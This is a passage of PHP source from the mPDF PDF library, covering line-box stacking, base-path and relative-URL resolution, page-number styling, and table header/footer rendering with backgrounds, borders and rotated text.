progression height of block element $stackHeight = $boxLineHeight; } elseif ($line_stacking_strategy == 'max-height') { // smallest height which includes extended block progression height of block element // and block progression heights of inline elements (NOT extended) $stackHeight = $inclusiveHeight; } elseif ($line_stacking_strategy == 'grid-height') { // smallest multiple of block element lineheight to include // block progression heights of inline elements (NOT extended) $stackHeight = $boxLineHeight; while ($stackHeight < $inclusiveHeight) { $stackHeight += $boxLineHeight; } } else { // 'inline-line-height' = default // smallest height which includes extended block progression height of block element // AND extended block progression heights of inline elements $stackHeight = $inclusiveHeight; } $diff = $stackHeight - $inclusiveHeight; $topy += $diff / 2; $bottomy -= $diff / 2; // ADJUST $ypos => lineBox using $stackHeight; lineBox are all offsets from the top of stackHeight in mm // and SET IMAGE OFFSETS $lineBox[-1]['boxtop'] = $topy - $ypos[-1]['boxtop']; $lineBox[-1]['boxbottom'] = $topy - $ypos[-1]['boxbottom']; // $lineBox[-1]['exttop'] = $topy - $ypos[-1]['exttop']; // $lineBox[-1]['extbottom'] = $topy - $ypos[-1]['extbottom']; $lineBox[-1]['glyphYorigin'] = $topy - $ypos[-1]['glyphYorigin']; $lineBox[-1]['baseline-shift'] = $ypos[-1]['baseline-shift']; $midpoint = $lineBox[-1]['boxbottom'] - (($lineBox[-1]['boxbottom'] - $lineBox[-1]['boxtop']) / 2); foreach ($content as $k => $chunk) { if (isset($this->objectbuffer[$k])) { $oh = $this->objectbuffer[$k]['OUTER-HEIGHT']; // LIST MARKERS if ($this->objectbuffer[$k]['type'] == 'listmarker') { $oh = $fontsize; } elseif ($this->objectbuffer[$k]['type'] == 'dottab') { // mPDF 6 DOTTAB $oh = $font[$k]['size']; // == $this->objectbuffer[$k]['fontsize']/Mpdf::SCALE; $lineBox[$k]['boxtop'] = $topy - $ypos[$k]['boxtop']; $lineBox[$k]['boxbottom'] = $topy - $ypos[$k]['boxbottom']; $lineBox[$k]['glyphYorigin'] = $topy - $ypos[$k]['glyphYorigin']; $lineBox[$k]['baseline-shift'] = 0; // continue; } $va = $this->objectbuffer[$k]['vertical-align']; // = $objattr['vertical-align'] = set as M,T,B,S if ($va == 'BS') { // (BASELINE default) $lineBox[$k]['top'] = $lineBox[-1]['glyphYorigin'] - $oh; } elseif ($va == 'M') { $lineBox[$k]['top'] = $midpoint - $oh / 2; } elseif ($va == 'TT') { $lineBox[$k]['top'] = $lineBox[-1]['boxtop']; } elseif ($va == 'TB') { $lineBox[$k]['top'] = $lineBox[-1]['boxbottom'] - $oh; } elseif ($va == 'T') { $lineBox[$k]['top'] = 0; } elseif ($va == 'B') { $lineBox[$k]['top'] = $stackHeight - $oh; } } elseif ($content[$k] || $content[$k] === '0') { $lineBox[$k]['boxtop'] = $topy - $ypos[$k]['boxtop']; $lineBox[$k]['boxbottom'] = $topy - $ypos[$k]['boxbottom']; // $lineBox[$k]['exttop'] = $topy - $ypos[$k]['exttop']; // $lineBox[$k]['extbottom'] = $topy - $ypos[$k]['extbottom']; $lineBox[$k]['glyphYorigin'] = $topy - $ypos[$k]['glyphYorigin']; $lineBox[$k]['baseline-shift'] = $ypos[$k]['baseline-shift']; if (isset($bordypos[$k]['boxtop'])) { $lineBox[$k]['border-boxtop'] = $topy - $bordypos[$k]['boxtop']; $lineBox[$k]['border-boxbottom'] = $topy - $bordypos[$k]['boxbottom']; $lineBox[$k]['border-baseline-shift'] = $bordypos[$k]['baseline-shift']; } if (isset($bgypos[$k]['boxtop'])) { $lineBox[$k]['background-boxtop'] = $topy - $bgypos[$k]['boxtop']; $lineBox[$k]['background-boxbottom'] = $topy - $bgypos[$k]['boxbottom']; $lineBox[$k]['background-baseline-shift'] = $bgypos[$k]['baseline-shift']; } } } } function SetBasePath($str = '') { if (isset($_SERVER['HTTP_HOST'])) { $host = $_SERVER['HTTP_HOST']; } elseif (isset($_SERVER['SERVER_NAME'])) { $host = $_SERVER['SERVER_NAME']; } else { $host = ''; } if (!$str) { if (isset($_SERVER['SCRIPT_NAME'])) { $currentPath = dirname($_SERVER['SCRIPT_NAME']); } else { $currentPath = dirname($_SERVER['PHP_SELF']); } $currentPath = str_replace("\\", "/", $currentPath); if ($currentPath == '/') { $currentPath = ''; } if ($host) { // mPDF 6 if (isset($_SERVER['HTTPS']) && $_SERVER['HTTPS'] && $_SERVER['HTTPS'] !== 'off') { $currpath = 'https://' . $host . $currentPath . '/'; } else { $currpath = 'http://' . $host . $currentPath . '/'; } } else { $currpath = ''; } $this->basepath = $currpath; $this->basepathIsLocal = true; return; } $str = preg_replace('/\?.*/', '', $str); if (!preg_match('/(http|https|ftp):\/\/.*\//i', $str)) { $str .= '/'; } $str .= 'xxx'; // in case $str ends in / e.g. http://www.bbc.co.uk/ $this->basepath = dirname($str) . "/"; // returns e.g. e.g. http://www.google.com/dir1/dir2/dir3/ $this->basepath = str_replace("\\", "/", $this->basepath); // If on Windows $tr = parse_url($this->basepath); if (isset($tr['host']) && ($tr['host'] == $host)) { $this->basepathIsLocal = true; } else { $this->basepathIsLocal = false; } } public function GetFullPath(&$path, $basepath = '') { // When parsing CSS need to pass temporary basepath - so links are relative to current stylesheet if (!$basepath) { $basepath = $this->basepath; } // Fix path value $path = str_replace("\\", '/', $path); // If on Windows // mPDF 5.7.2 if (substr($path, 0, 2) === '//') { $scheme = parse_url($basepath, PHP_URL_SCHEME); $scheme = $scheme ?: 'http'; $path = $scheme . ':' . $path; } $path = preg_replace('|^./|', '', $path); // Inadvertently corrects "./path/etc" and "//www.domain.com/etc" if (substr($path, 0, 1) == '#') { return; } if (preg_match('@^(mailto|tel|fax):.*@i', $path)) { return; } if (substr($path, 0, 3) == "../") { // It is a relative link $backtrackamount = substr_count($path, "../"); $maxbacktrack = substr_count($basepath, "/") - 3; $filepath = str_replace("../", '', $path); $path = $basepath; // If it is an invalid relative link, then make it go to directory root if ($backtrackamount > $maxbacktrack) { $backtrackamount = $maxbacktrack; } // Backtrack some directories for ($i = 0; $i < $backtrackamount + 1; $i++) { $path = substr($path, 0, strrpos($path, "/")); } $path = $path . "/" . $filepath; // Make it an absolute path } elseif ((strpos($path, ":/") === false || strpos($path, ":/") > 10) && !is_file($path)) { // It is a local link if (substr($path, 0, 1) == "/") { $tr = parse_url($basepath); // mPDF 5.7.2 $root = ''; if (!empty($tr['scheme'])) { $root .= $tr['scheme'] . '://'; } $root .= isset($tr['host']) ? $tr['host'] : ''; $root .= ((isset($tr['port']) && $tr['port']) ? (':' . $tr['port']) : ''); // mPDF 5.7.3 $path = $root . $path; } else { $path = $basepath . $path; } } // Do nothing if it is an Absolute Link } function docPageNum($num = 0, $extras = false) { if ($num < 1) { $num = $this->page; } $type = $this->defaultPageNumStyle; // set default Page Number Style $ppgno = $num; $suppress = 0; $offset = 0; $lastreset = 0; foreach ($this->PageNumSubstitutions as $psarr) { if ($num >= $psarr['from']) { if ($psarr['reset']) { if ($psarr['reset'] > 1) { $offset = $psarr['reset'] - 1; } $ppgno = $num - $psarr['from'] + 1 + $offset; $lastreset = $psarr['from']; } if ($psarr['type']) { $type = $psarr['type']; } if (strtoupper($psarr['suppress']) == 'ON' || $psarr['suppress'] == 1) { $suppress = 1; } elseif (strtoupper($psarr['suppress']) == 'OFF') { $suppress = 0; } } } if ($suppress) { return ''; } $ppgno = $this->_getStyledNumber($ppgno, $type); if ($extras) { $ppgno = $this->pagenumPrefix . $ppgno . $this->pagenumSuffix; } return $ppgno; } function docPageNumTotal($num = 0, $extras = false) { if ($num < 1) { $num = $this->page; } $type = $this->defaultPageNumStyle; // set default Page Number Style $ppgstart = 1; $ppgend = count($this->pages) + 1; $suppress = 0; $offset = 0; foreach ($this->PageNumSubstitutions as $psarr) { if ($num >= $psarr['from']) { if ($psarr['reset']) { if ($psarr['reset'] > 1) { $offset = $psarr['reset'] - 1; } $ppgstart = $psarr['from'] + $offset; $ppgend = count($this->pages) + 1 + $offset; } if ($psarr['type']) { $type = $psarr['type']; } if (strtoupper($psarr['suppress']) == 'ON' || $psarr['suppress'] == 1) { $suppress = 1; } elseif (strtoupper($psarr['suppress']) == 'OFF') { $suppress = 0; } } if ($num < $psarr['from']) { if ($psarr['reset']) { $ppgend = $psarr['from'] + $offset; break; } } } if ($suppress) { return ''; } $ppgno = $ppgend - $ppgstart + $offset; $ppgno = $this->_getStyledNumber($ppgno, $type); if ($extras) { $ppgno = $this->pagenumPrefix . $ppgno . $this->pagenumSuffix; } return $ppgno; } // mPDF 6 function _getStyledNumber($ppgno, $type, $listmarker = false) { if ($listmarker) { $reverse = true; // Reverse RTL numerals (Hebrew) when using for list $checkfont = true; // Using list - font is set, so check if character is available } else { $reverse = false; // For pagenumbers, RTL numerals (Hebrew) will get reversed later by bidi $checkfont = false; // For pagenumbers - font is not set, so no check } $decToAlpha = new Conversion\DecToAlpha(); $decToCjk = new Conversion\DecToCjk(); $decToHebrew = new Conversion\DecToHebrew(); $decToRoman = new Conversion\DecToRoman(); $decToOther = new Conversion\DecToOther($this); $lowertype = strtolower($type); if ($lowertype == 'upper-latin' || $lowertype == 'upper-alpha' || $type == 'A') { $ppgno = $decToAlpha->convert($ppgno, true); } elseif ($lowertype == 'lower-latin' || $lowertype == 'lower-alpha' || $type == 'a') { $ppgno = $decToAlpha->convert($ppgno, false); } elseif ($lowertype == 'upper-roman' || $type == 'I') { $ppgno = $decToRoman->convert($ppgno, true); } elseif ($lowertype == 'lower-roman' || $type == 'i') { $ppgno = $decToRoman->convert($ppgno, false); } elseif ($lowertype == 'hebrew') { $ppgno = $decToHebrew->convert($ppgno, $reverse); } elseif (preg_match('/(arabic-indic|bengali|devanagari|gujarati|gurmukhi|kannada|malayalam|oriya|persian|tamil|telugu|thai|urdu|cambodian|khmer|lao)/i', $lowertype, $m)) { $cp = $decToOther->getCodePage($m[1]); $ppgno = $decToOther->convert($ppgno, $cp, $checkfont); } elseif ($lowertype == 'cjk-decimal') { $ppgno = $decToCjk->convert($ppgno); } return $ppgno; } function docPageSettings($num = 0) { // Returns current type (numberstyle), suppression state for this page number; // reset is only returned if set for this page number if ($num < 1) { $num = $this->page; } $type = $this->defaultPageNumStyle; // set default Page Number Style $ppgno = $num; $suppress = 0; $offset = 0; $reset = ''; foreach ($this->PageNumSubstitutions as $psarr) { if ($num >= $psarr['from']) { if ($psarr['reset']) { if ($psarr['reset'] > 1) { $offset = $psarr['reset'] - 1; } $ppgno = $num - $psarr['from'] + 1 + $offset; } if ($psarr['type']) { $type = $psarr['type']; } if (strtoupper($psarr['suppress']) == 'ON' || $psarr['suppress'] == 1) { $suppress = 1; } elseif (strtoupper($psarr['suppress']) == 'OFF') { $suppress = 0; } } if ($num == $psarr['from']) { $reset = $psarr['reset']; } } if ($suppress) { $suppress = 'on'; } else { $suppress = 'off'; } return [$type, $suppress, $reset]; } function RestartDocTemplate() { $this->docTemplateStart = $this->page; } // Page header function Header($content = '') { $this->cMarginL = 0; $this->cMarginR = 0; if (($this->mirrorMargins && ($this->page % 2 == 0) && $this->HTMLHeaderE) || ($this->mirrorMargins && ($this->page % 2 == 1) && $this->HTMLHeader) || (!$this->mirrorMargins && $this->HTMLHeader)) { $this->writeHTMLHeaders(); return; } } /* -- TABLES -- */ function TableHeaderFooter($content = '', $tablestartpage = '', $tablestartcolumn = '', $horf = 'H', $level = 0, $firstSpread = true, $finalSpread = true) { if (($horf == 'H' || $horf == 'F') && !empty($content)) { // mPDF 5.7.2 $table = &$this->table[1][1]; // mPDF 5.7.2 if ($horf == 'F') { // Table Footer $firstrow = count($table['cells']) - $table['footernrows']; $lastrow = count($table['cells']) - 1; } else { // Table Header $firstrow = 0; $lastrow = $table['headernrows'] - 1; } if (empty($content[$firstrow])) { if ($this->debug) { throw new \Mpdf\MpdfException(" must precede in a table"); } else { return; } } // Advance down page by half width of top border if ($horf == 'H') { // Only if header if ($table['borders_separate']) { $adv = $table['border_spacing_V'] / 2 + $table['border_details']['T']['w'] + $table['padding']['T']; } else { $adv = $table['max_cell_border_width']['T'] / 2; } if ($adv) { if ($this->table_rotate) { $this->y += ($adv); } else { $this->DivLn($adv, $this->blklvl, true); } } } $topy = $content[$firstrow][0]['y'] - $this->y; for ($i = $firstrow; $i <= $lastrow; $i++) { $y = $this->y; /* -- COLUMNS -- */ // If outside columns, this is done in PaintDivBB if ($this->ColActive) { // OUTER FILL BGCOLOR of DIVS if ($this->blklvl > 0) { $firstblockfill = $this->GetFirstBlockFill(); if ($firstblockfill && $this->blklvl >= $firstblockfill) { $divh = $content[$i][0]['h']; $bak_x = $this->x; $this->DivLn($divh, -3, false); // Reset current block fill $bcor = $this->blk[$this->blklvl]['bgcolorarray']; $this->SetFColor($bcor); $this->x = $bak_x; } } } /* -- END COLUMNS -- */ $colctr = 0; foreach ($content[$i] as $tablehf) { $colctr++; $y = Arrays::get($tablehf, 'y', null) - $topy; $this->y = $y; // Set some cell values $x = Arrays::get($tablehf, 'x', null); if (($this->mirrorMargins) && ($tablestartpage == 'ODD') && (($this->page) % 2 == 0)) { // EVEN $x = $x + $this->MarginCorrection; } elseif (($this->mirrorMargins) && ($tablestartpage == 'EVEN') && (($this->page) % 2 == 1)) { // ODD $x = $x + $this->MarginCorrection; } /* -- COLUMNS -- */ // Added to correct for Columns if ($this->ColActive) { if ($this->directionality == 'rtl') { // *OTL* $x -= ($this->CurrCol - $tablestartcolumn) * ($this->ColWidth + $this->ColGap); // *OTL* } // *OTL* else { // *OTL* $x += ($this->CurrCol - $tablestartcolumn) * ($this->ColWidth + $this->ColGap); } // *OTL* } /* -- END COLUMNS -- */ if ($colctr == 1) { $x0 = $x; } // mPDF ITERATION if ($this->iterationCounter) { foreach ($tablehf['textbuffer'] as $k => $t) { if (!is_array($t[0]) && preg_match('/{iteration ([a-zA-Z0-9_]+)}/', $t[0], $m)) { $vname = '__' . $m[1] . '_'; if (!isset($this->$vname)) { $this->$vname = 1; } else { $this->$vname++; } $tablehf['textbuffer'][$k][0] = preg_replace('/{iteration ' . $m[1] . '}/', $this->$vname, $tablehf['textbuffer'][$k][0]); } } } $w = Arrays::get($tablehf, 'w', null); $h = Arrays::get($tablehf, 'h', null); $va = Arrays::get($tablehf, 'va', null); $R = Arrays::get($tablehf, 'R', null); $direction = Arrays::get($tablehf, 'direction', null); $mih = Arrays::get($tablehf, 'mih', null); $border = Arrays::get($tablehf, 'border', null); $border_details = Arrays::get($tablehf, 'border_details', null); $padding = Arrays::get($tablehf, 'padding', null); $this->tabletheadjustfinished = true; $textbuffer = Arrays::get($tablehf, 'textbuffer', null); // Align $align = Arrays::get($tablehf, 'a', null); $this->cellTextAlign = $align; $this->cellLineHeight = Arrays::get($tablehf, 'cellLineHeight', null); $this->cellLineStackingStrategy = Arrays::get($tablehf, 'cellLineStackingStrategy', null); $this->cellLineStackingShift = Arrays::get($tablehf, 'cellLineStackingShift', null); $this->x = $x; if ($this->ColActive) { if ($table['borders_separate']) { $tablefill = isset($table['bgcolor'][-1]) ? $table['bgcolor'][-1] : 0; if ($tablefill) { $color = $this->colorConverter->convert($tablefill, $this->PDFAXwarnings); if ($color) { $xadj = ($table['border_spacing_H'] / 2); $yadj = ($table['border_spacing_V'] / 2); $wadj = $table['border_spacing_H']; $hadj = $table['border_spacing_V']; if ($i == $firstrow && $horf == 'H') { // Top $yadj += $table['padding']['T'] + $table['border_details']['T']['w']; $hadj += $table['padding']['T'] + $table['border_details']['T']['w']; } if (($i == ($lastrow) || (isset($tablehf['rowspan']) && ($i + $tablehf['rowspan']) == ($lastrow + 1)) || (!isset($tablehf['rowspan']) && ($i + 1) == ($lastrow + 1))) && $horf == 'F') { // Bottom $hadj += $table['padding']['B'] + $table['border_details']['B']['w']; } if ($colctr == 1) { // Left $xadj += $table['padding']['L'] + $table['border_details']['L']['w']; $wadj += $table['padding']['L'] + $table['border_details']['L']['w']; } if ($colctr == count($content[$i])) { // Right $wadj += $table['padding']['R'] + $table['border_details']['R']['w']; } $this->SetFColor($color); $this->Rect($x - $xadj, $y - $yadj, $w + $wadj, $h + $hadj, 'F'); } } } } if ($table['empty_cells'] != 'hide' || !empty($textbuffer) || !$table['borders_separate']) { $paintcell = true; } else { $paintcell = false; } // Vertical align if ($R && intval($R) > 0 && isset($va) && $va != 'B') { $va = 'B'; } if (!isset($va) || empty($va) || $va == 'M') { $this->y += ($h - $mih) / 2; } elseif (isset($va) && $va == 'B') { $this->y += $h - $mih; } // TABLE ROW OR CELL FILL BGCOLOR $fill = 0; if (isset($tablehf['bgcolor']) && $tablehf['bgcolor'] && $tablehf['bgcolor'] != 'transparent') { $fill = $tablehf['bgcolor']; $leveladj = 6; } elseif (isset($content[$i][0]['trbgcolor']) && $content[$i][0]['trbgcolor'] && $content[$i][0]['trbgcolor'] != 'transparent') { // Row color $fill = $content[$i][0]['trbgcolor']; $leveladj = 3; } if ($fill && $paintcell) { $color = $this->colorConverter->convert($fill, $this->PDFAXwarnings); if ($color) { if ($table['borders_separate']) { if ($this->ColActive) { $this->SetFColor($color); $this->Rect($x + ($table['border_spacing_H'] / 2), $y + ($table['border_spacing_V'] / 2), $w - $table['border_spacing_H'], $h - $table['border_spacing_V'], 'F'); } else { $this->tableBackgrounds[$level * 9 + $leveladj][] = ['gradient' => false, 'x' => ($x + ($table['border_spacing_H'] / 2)), 'y' => ($y + ($table['border_spacing_V'] / 2)), 'w' => ($w - $table['border_spacing_H']), 'h' => ($h - $table['border_spacing_V']), 'col' => $color]; } } else { if ($this->ColActive) { $this->SetFColor($color); $this->Rect($x, $y, $w, $h, 'F'); } else { $this->tableBackgrounds[$level * 9 + $leveladj][] = ['gradient' => false, 'x' => $x, 'y' => $y, 'w' => $w, 'h' => $h, 'col' => $color]; } } } } /* -- BACKGROUNDS -- */ if (isset($tablehf['gradient']) && $tablehf['gradient'] && $paintcell) { $g = $this->gradient->parseBackgroundGradient($tablehf['gradient']); if ($g) { if ($table['borders_separate']) { $px = $x + ($table['border_spacing_H'] / 2); $py = $y + ($table['border_spacing_V'] / 2); $pw = $w - $table['border_spacing_H']; $ph = $h - $table['border_spacing_V']; } else { $px = $x; $py = $y; $pw = $w; $ph = $h; } if ($this->ColActive) { $this->gradient->Gradient($px, $py, $pw, $ph, $g['type'], $g['stops'], $g['colorspace'], $g['coords'], $g['extend']); } else { $this->tableBackgrounds[$level * 9 + 7][] = ['gradient' => true, 'x' => $px, 'y' => $py, 'w' => $pw, 'h' => $ph, 'gradtype' => $g['type'], 'stops' => $g['stops'], 'colorspace' => $g['colorspace'], 'coords' => $g['coords'], 'extend' => $g['extend'], 'clippath' => '']; } } } if (isset($tablehf['background-image']) && $paintcell) { if ($tablehf['background-image']['gradient'] && preg_match('/(-moz-)*(repeating-)*(linear|radial)-gradient/', $tablehf['background-image']['gradient'])) { $g = $this->gradient->parseMozGradient($tablehf['background-image']['gradient']); if ($g) { if ($table['borders_separate']) { $px = $x + ($table['border_spacing_H'] / 2); $py = $y + ($table['border_spacing_V'] / 2); $pw = $w - $table['border_spacing_H']; $ph = $h - $table['border_spacing_V']; } else { $px = $x; $py = $y; $pw = $w; $ph = $h; } if ($this->ColActive) { $this->gradient->Gradient($px, $py, $pw, $ph, $g['type'], $g['stops'], $g['colorspace'], $g['coords'], $g['extend']); } else { $this->tableBackgrounds[$level * 9 + 7][] = ['gradient' => true, 'x' => $px, 'y' => $py, 'w' => $pw, 'h' => $ph, 'gradtype' => $g['type'], 'stops' => $g['stops'], 'colorspace' => $g['colorspace'], 'coords' => $g['coords'], 'extend' => $g['extend'], 'clippath' => '']; } } } elseif ($tablehf['background-image']['image_id']) { // Background pattern $n = count($this->patterns) + 1; if ($table['borders_separate']) { $px = $x + ($table['border_spacing_H'] / 2); $py = $y + ($table['border_spacing_V'] / 2); $pw = $w - $table['border_spacing_H']; $ph = $h - $table['border_spacing_V']; } else { $px = $x; $py = $y; $pw = $w; $ph = $h; } if ($this->ColActive) { list($orig_w, $orig_h, $x_repeat, $y_repeat) = $this->_resizeBackgroundImage($tablehf['background-image']['orig_w'], $tablehf['background-image']['orig_h'], $pw, $ph, $tablehf['background-image']['resize'], $tablehf['background-image']['x_repeat'], $tablehf['background-image']['y_repeat']); $this->patterns[$n] = ['x' => $px, 'y' => $py, 'w' => $pw, 'h' => $ph, 'pgh' => $this->h, 'image_id' => $tablehf['background-image']['image_id'], 'orig_w' => $orig_w, 'orig_h' => $orig_h, 'x_pos' => $tablehf['background-image']['x_pos'], 'y_pos' => $tablehf['background-image']['y_pos'], 'x_repeat' => $x_repeat, 'y_repeat' => $y_repeat, 'itype' => $tablehf['background-image']['itype']]; if ($tablehf['background-image']['opacity'] > 0 && $tablehf['background-image']['opacity'] < 1) { $opac = $this->SetAlpha($tablehf['background-image']['opacity'], 'Normal', true); } else { $opac = ''; } $this->writer->write(sprintf('q /Pattern cs /P%d scn %s %.3F %.3F %.3F %.3F re f Q', $n, $opac, $px * Mpdf::SCALE, ($this->h - $py) * Mpdf::SCALE, $pw * Mpdf::SCALE, -$ph * Mpdf::SCALE)); } else { $this->tableBackgrounds[$level * 9 + 8][] = ['x' => $px, 'y' => $py, 'w' => $pw, 'h' => $ph, 'image_id' => $tablehf['background-image']['image_id'], 'orig_w' => $tablehf['background-image']['orig_w'], 'orig_h' => $tablehf['background-image']['orig_h'], 'x_pos' => $tablehf['background-image']['x_pos'], 'y_pos' => $tablehf['background-image']['y_pos'], 'x_repeat' => $tablehf['background-image']['x_repeat'], 'y_repeat' => $tablehf['background-image']['y_repeat'], 'clippath' => '', 'resize' => $tablehf['background-image']['resize'], 'opacity' => $tablehf['background-image']['opacity'], 'itype' => $tablehf['background-image']['itype']]; } } } /* -- END BACKGROUNDS -- */ // Cell Border if ($table['borders_separate'] && $paintcell && $border) { $this->_tableRect($x + ($table['border_spacing_H'] / 2) + ($border_details['L']['w'] / 2), $y + ($table['border_spacing_V'] / 2) + ($border_details['T']['w'] / 2), $w - $table['border_spacing_H'] - ($border_details['L']['w'] / 2) - ($border_details['R']['w'] / 2), $h - $table['border_spacing_V'] - ($border_details['T']['w'] / 2) - ($border_details['B']['w'] / 2), $border, $border_details, false, $table['borders_separate']); } elseif ($paintcell && $border) { $this->_tableRect($x, $y, $w, $h, $border, $border_details, true, $table['borders_separate']); // true causes buffer } // Print cell content if (!empty($textbuffer)) { if ($horf == 'F' && preg_match('/{colsum([0-9]*)[_]*}/', $textbuffer[0][0], $m)) { $rep = sprintf("%01." . intval($m[1]) . "f", $this->colsums[$colctr - 1]); $textbuffer[0][0] = preg_replace('/{colsum[0-9_]*}/', $rep, $textbuffer[0][0]); } if ($R) { $cellPtSize = $textbuffer[0][11] / $this->shrin_k; if (!$cellPtSize) { $cellPtSize = $this->default_font_size; } $cellFontHeight = ($cellPtSize / Mpdf::SCALE); $opx = $this->x; $opy = $this->y; $angle = intval($R); // Only allow 45 - 90 degrees (when bottom-aligned) or -90 if ($angle > 90) { $angle = 90; } elseif ($angle > 0 && (isset($va) && $va != 'B')) { $angle = 90; } elseif ($angle > 0 && $angle < 45) { $angle = 45; } elseif ($angle < 0) { $angle = -90; } $offset = ((sin(deg2rad($angle))) * 0.37 * $cellFontHeight); if (isset($align) && $align == 'R') { $this->x += ($w) + ($offset) - ($cellFontHeight / 3) - ($padding['R'] + $border_details['R']['w']); } elseif (!isset($align) || $align == 'C') { $this->x += ($w / 2) + ($offset); } else { $this->x += ($offset) + ($cellFontHeight / 3) + ($padding['L'] + $border_details['L']['w']); } $str = ''; foreach ($tablehf['textbuffer'] as $t) { $str .= $t[0] . ' '; } $str = rtrim($str); if (!isset($va) || $va == 'M') { $this->y -= ($h - $mih) / 2; // Undo what was added earlier VERTICAL ALIGN if ($angle > 0) { $this->y += (($h - $mih) / 2) + ($padding['T'] + $border_details['T']['w']) + ($mih - ($padding['T'] + $border_details['T']['w'] + $border_details['B']['w'] + $padding['B'])); } elseif ($angle < 0) { $this->y += (($h - $mih) / 2) + ($padding['T'] + $border_details['T']['w']); } } elseif (isset($va) && $va == 'B') { $this->y -= $h - $mih; // Undo what was added earlier VERTICAL ALIGN if ($angle > 0) { $this->y += $h - ($border_details['B']['w'] + $padding['B']); } elseif ($angle < 0) { $this->y += $h - $mih + ($padding['T'] + $border_details['T']['w']); } } elseif (isset($va) && $va == 'T') { if ($angle > 0) { $this->y += $mih - ($border_details['B']['w'] + $padding['B']); } elseif ($angle < 0) { $this->y += ($padding['T'] + $border_details['T']['w']); } } $this->Rotate($angle, $this->x, $this->y); $s_fs = $this->FontSizePt; $s_f = $this->FontFamily; $s_st = $this->FontStyle; if (!empty($textbuffer[0][3])) { // Font Color $cor = $textbuffer[0][3]; $this->SetTColor($cor); } $this->SetFont($textbuffer[0][4], $textbuffer[0][2], $cellPtSize, true, true); $this->magic_reverse_dir($str, $this->directionality, $textbuffer[0][18]); $this->Text($this->x, $this->y, $str, $textbuffer[0][18], $textbuffer[0][8]); // textvar $this->Rotate(0); $this->SetFont($s_f, $s_st, $s_fs, true, true); $this->SetTColor(0); $this->x = $opx; $this->y = $opy; } else { if ($table['borders_separate']) { // NB twice border width $xadj = $border_details['L']['w'] + $padding['L'] + ($table['border_spacing_H'] / 2); $wadj = $border_details['L']['w'] + $border_details['R']['w'] + $padding['L'] + $padding['R'] + $table['border_spacing_H']; $yadj = $border_details['T']['w'] + $padding['T'] + ($table['border_spacing_H'] / 2); } else { $xadj = $border_details['L']['w'] / 2 + $padding['L']; $wadj = ($border_details['L']['w'] + $border_details['R']['w']) / 2 + $padding['L'] + $padding['R']; $yadj = $border_details['T']['w'] / 2 + $padding['T']; } $this->divwidth = $w - ($wadj); $this->x += $xadj; $this->y += $yadj; $this->printbuffer($textbuffer, '', true, false, $direction); } } $textbuffer = []; /* -- BACKGROUNDS -- */ if (!$this->ColActive) { if (isset($content[$i][0]['trgradients']) && ($colctr == 1 || $table['borders_separate'])) { $g = $this->gradient->parseBackgroundGradient($content[$i][0]['trgradients']); if ($g) { $gx = $x0; $gy = $y; $gh = $h; $gw = $table['w'] - ($table['max_cell_border_width']['L'] / 2) - ($table['max_cell_border_width']['R'] / 2) - $table['margin']['L'] - $table['margin']['R']; if ($table['borders_separate']) { $gw -= ($table['padding']['L'] + $table['border_details']['L']['w'] + $table['padding']['R'] + $table['border_details']['R']['w'] + $table['border_spacing_H']); $clx = $x + ($table['border_spacing_H'] / 2); $cly = $y + ($table['border_spacing_V'] / 2); $clw = $w - $table['border_spacing_H']; $clh = $h - $table['border_spacing_V']; // Set clipping path $s = $this->_setClippingPath($clx, $cly, $clw, $clh); // mPDF 6 $this->tableBackgrounds[$level * 9 + 4][] = ['gradient' => true, 'x' => $gx + ($table['border_spacing_H'] / 2), 'y' => $gy + ($table['border_spacing_V'] / 2), 'w' => $gw - $table['border_spacing_V'], 'h' => $gh - $table['border_spacing_H'], 'gradtype' => $g['type'], 'stops' => $g['stops'], 'colorspace' => $g['colorspace'], 'coords' => $g['coords'], 'extend' => $g['extend'], 'clippath' => $s]; } else { $this->tableBackgrounds[$level * 9 + 4][] = ['gradient' => true, 'x' => $gx, 'y' => $gy, 'w' => $gw, 'h' => $gh, 'gradtype' => $g['type'], 'stops' => $g['stops'], 'colorspace' => $g['colorspace'], 'coords' => $g['coords'], 'extend' => $g['extend'], 'clippath' => '']; } } } if (isset($content[$i][0]['trbackground-images']) && ($colctr == 1 || $table['borders_separate'])) { if ($content[$i][0]['trbackground-images']['gradient'] && preg_match('/(-moz-)*(repeating-)*(linear|radial)-gradient/', $content[$i][0]['trbackground-images']['gradient'])) { $g = $this->gradient->parseMozGradient($content[$i][0]['trbackground-images']['gradient']); if ($g) { $gx = $x0; $gy = $y; $gh = $h; $gw = $table['w'] - ($table['max_cell_border_width']['L'] / 2) - ($table['max_cell_border_width']['R'] / 2) - $table['margin']['L'] - $table['margin']['R']; if ($table['borders_separate']) { $gw -= ($table['padding']['L'] + $table['border_details']['L']['w'] + $table['padding']['R'] + $table['border_details']['R']['w'] + $table['border_spacing_H']); $clx = $x + ($table['border_spacing_H'] / 2); $cly = $y + ($table['border_spacing_V'] / 2); $clw = $w - $table['border_spacing_H']; $clh = $h - $table['border_spacing_V']; // Set clipping path $s = $this->_setClippingPath($clx, $cly, $clw, $clh); // mPDF 6 $this->tableBackgrounds[$level * 9 + 4][] = ['gradient' => true, 'x' => $gx + ($table['border_spacing_H'] / 2), 'y' => $gy + ($table['border_spacing_V'] / 2), 'w' => $gw - $table['border_spacing_V'], 'h' => $gh - $table['border_spacing_H'], 'gradtype' => $g['type'], 'stops' => $g['stops'], 'colorspace' => $g['colorspace'], 'coords' => $g['coords'], 'extend' => $g['extend'], 'clippath' => $s]; } else { $this->tableBackgrounds[$level * 9 + 4][] = ['gradient' => true, 'x' => $gx, 'y' => $gy, 'w' => $gw, 'h' => $gh, 'gradtype' => $g['type'], 'stops' => $g['stops'], 'colorspace' => $g['colorspace'], 'coords' => $g['coords'], 'extend' => $g['extend'], 'clippath' => '']; } } } else { $image_id = $content[$i][0]['trbackground-images']['image_id']; $orig_w = $content[$i][0]['trbackground-images']['orig_w']; $orig_h = $content[$i][0]['trbackground-images']['orig_h']; $x_pos = $content[$i][0]['trbackground-images']['x_pos']; $y_pos = $content[$i][0]['trbackground-images']['y_pos']; $x_repeat = $content[$i][0]['trbackground-images']['x_repeat']; $y_repeat = $content[$i][0]['trbackground-images']['y_repeat']; $resize = $content[$i][0]['trbackground-images']['resize']; $opacity = $content[$i][0]['trbackground-images']['opacity']; $itype = $content[$i][0]['trbackground-images']['itype']; $clippath = ''; $gx = $x0; $gy = $y; $gh = $h; $gw = $table['w'] - ($table['max_cell_border_width']['L'] / 2) - ($table['max_cell_border_width']['R'] / 2) - $table['margin']['L'] - $table['margin']['R']; if ($table['borders_separate']) { $gw -= ($table['padding']['L'] + $table['border_details']['L']['w'] + 